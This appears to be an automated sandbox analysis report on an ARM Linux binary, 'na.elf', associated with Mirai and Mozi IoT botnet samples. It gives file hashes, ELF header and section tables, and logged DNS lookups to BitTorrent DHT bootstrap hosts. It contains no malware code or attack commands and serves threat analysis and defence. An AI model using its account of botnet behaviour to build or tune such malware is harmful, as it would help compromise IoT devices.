	bin.sh	Get hash	malicious	Mirai	Browse
	3aakN9FzA5	Get hash	malicious	Gafgyt Mirai	Browse
	Mozi.m.3	Get hash	malicious	Mirai	Browse
	ZFvtIZszMd	Get hash	malicious	Mirai	Browse
	bin.sh	Get hash	malicious	Mirai	Browse
	nT7K5GG5km	Get hash	malicious	Mirai	Browse
	KnAY2OIPI3	Get hash	malicious	Mirai	Browse

Process:	/tmp/na.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.882045108136863
Encrypted:	false
SSDEEP:	3:qXVOORgn:Tn
MD5:	D7BC14787BBF05DEAC1113F4B42B6099
SHA1:	BB0DF86AA88C53CB0E53147B50135113CB15FFFF
SHA-256:	2AB8C8B53D6823D9D4F90CCC40B7BB78C68956FB60D691B4DB241809CD259E01
SHA-512:	810CB49B08A5CF57DA8D5194DC5442B4BA72AD50534FCDA48C0C0815164AED4B23D4F06035390EB596D69A7FBA579C7B3E0FCA1CDE2F81FF23347780770A3D0D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	./usr/networks&.exit 1.

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.819754472639185
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	na.elf
File size:	307'960 bytes
MD5:	35c8bc22385af5cbf7dcd21b75a103a5
SHA1:	10acc1839728ec2c090335a9cf0f885d6dc1e6fc
SHA256:	0f292c25fcdff2cdcf543078d7e92f176c635201651191f47d89434f4588c0a9
SHA512:	eac635f07c8040a3dd04b97076bd3ab9db59f6435fde27e16bed17c01879054512cf3bfb2307e6099c0d7704d4f17850e9fd4a08c14773642bfc0ca5c9b2fcb3
SSDEEP:	6144:T2s/wAWuboqsJ9xcJxspJBqQgTuaJZRhVabE5wKSDP99zBa77oNsKqqfPqOJ:T2s/LW+UmJqBxAuaPRhVabEDSDP99zBT
TLSH:	BD643A8AFD81AE25D5C126BBFE2F4289331317B8D2EB71029D145F2876CA94F0F7A541
File Content Preview:	.ELF..............(.........4...P.......4. ...(........p............(...(...............................................................8...........................................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	307280
Section Header Size:	40
Number of Section Headers:	17
Header String Table Index:	16

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x34a98	0x0	0x6	AX	0	16
.fini	PROGBITS	0x3cb88	0x34b88	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x3cb98	0x34b98	0xb9d0	0x0	0x2	A	0	8
.ARM.extab	PROGBITS	0x48568	0x40568	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x48580	0x40580	0x128	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x51000	0x41000	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x51004	0x41004	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x51004	0x41004	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x51008	0x41008	0x4	0x0	0x3	WA	0	4
.data.rel.ro	PROGBITS	0x51010	0x41010	0x18	0x0	0x3	WA	0	4
.got	PROGBITS	0x51028	0x41028	0xb8	0x4	0x3	WA	0	4
.data	PROGBITS	0x510e0	0x410e0	0x9ec8	0x0	0x3	WA	0	8
.bss	NOBITS	0x5afa8	0x4afa8	0x25b90	0x0	0x3	WA	0	8
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x4afa8	0x16	0x0	0x0		0	1
.shstrtab	STRTAB	0x0	0x4afbe	0x90	0x0	0x0		0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x40580	0x48580	0x48580	0x128	0x128	4.6450	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x406a8	0x406a8	6.2026	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x41000	0x51000	0x51000	0x9fa8	0x2fb38	2.2250	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .data.rel.ro .got .data .bss
TLS	0x41004	0x51004	0x51004	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 17:13:06.202203989 CET	192.168.2.15	1.1.1.1	0x9b8b	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:06.215148926 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:11.216670036 CET	192.168.2.15	8.8.8.8	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:16.217283010 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:21.225250959 CET	192.168.2.15	1.1.1.1	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:21.225379944 CET	192.168.2.15	8.8.8.8	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:26.226134062 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:26.226236105 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:31.227319002 CET	192.168.2.15	1.1.1.1	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:31.227401018 CET	192.168.2.15	8.8.8.8	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:36.231378078 CET	192.168.2.15	8.8.8.8	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:36.231543064 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:36.231592894 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:41.232810020 CET	192.168.2.15	1.1.1.1	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:41.232882977 CET	192.168.2.15	8.8.8.8	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:41.232945919 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:46.234695911 CET	192.168.2.15	8.8.8.8	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:46.234797001 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:46.234858036 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:51.457124949 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:51.457127094 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:51.457127094 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:56.706897974 CET	192.168.2.15	8.8.8.8	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:56.706898928 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:56.706935883 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:01.956482887 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:01.956537962 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:01.956587076 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:07.206335068 CET	192.168.2.15	8.8.8.8	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:07.206371069 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:07.206391096 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:12.456301928 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:12.456309080 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:12.456309080 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:17.706108093 CET	192.168.2.15	8.8.8.8	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:17.706172943 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:17.706326962 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:22.956018925 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:22.956072092 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:22.956125975 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:28.205873013 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:28.205874920 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:28.205873013 CET	192.168.2.15	8.8.8.8	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:33.455666065 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:33.455734015 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:33.455776930 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:38.705425978 CET	192.168.2.15	8.8.8.8	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:38.705440998 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:38.705476999 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:43.955523968 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:43.955528021 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:43.955596924 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:49.205519915 CET	192.168.2.15	8.8.8.8	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:49.205574989 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:49.205620050 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:54.454930067 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:54.454953909 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:54.454974890 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:59.704879045 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:59.704885960 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:14:59.704885960 CET	192.168.2.15	8.8.8.8	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:04.954741001 CET	192.168.2.15	1.1.1.1	0x3da3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:04.954741955 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:04.954767942 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:10.204462051 CET	192.168.2.15	8.8.8.8	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:10.204530001 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:10.220817089 CET	192.168.2.15	8.8.8.8	0xb058	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:10.220860004 CET	192.168.2.15	8.8.8.8	0xb5e7	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false
Oct 29, 2024 17:15:15.454329014 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:15.454368114 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:20.704101086 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:20.704125881 CET	192.168.2.15	8.8.8.8	0xbbc9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:25.954104900 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:31.203885078 CET	192.168.2.15	1.1.1.1	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:36.453835964 CET	192.168.2.15	8.8.8.8	0xaf57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 17:13:06.210978031 CET	1.1.1.1	192.168.2.15	0x9b8b	No error (0)	dht.transmissionbt.com	87.98.162.88	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:13:06.210978031 CET	1.1.1.1	192.168.2.15	0x9b8b	No error (0)	dht.transmissionbt.com	212.129.33.59	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:10.227746010 CET	8.8.8.8	192.168.2.15	0xb058	No error (0)	daisy.ubuntu.com	162.213.35.25	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:15:10.227746010 CET	8.8.8.8	192.168.2.15	0xb058	No error (0)	daisy.ubuntu.com	162.213.35.24	A (IP address)	IN (0x0001)	false

Start time (UTC):	16:12:23
Start date (UTC):	29/10/2024
Path:	/tmp/na.elf
Arguments:	/tmp/na.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1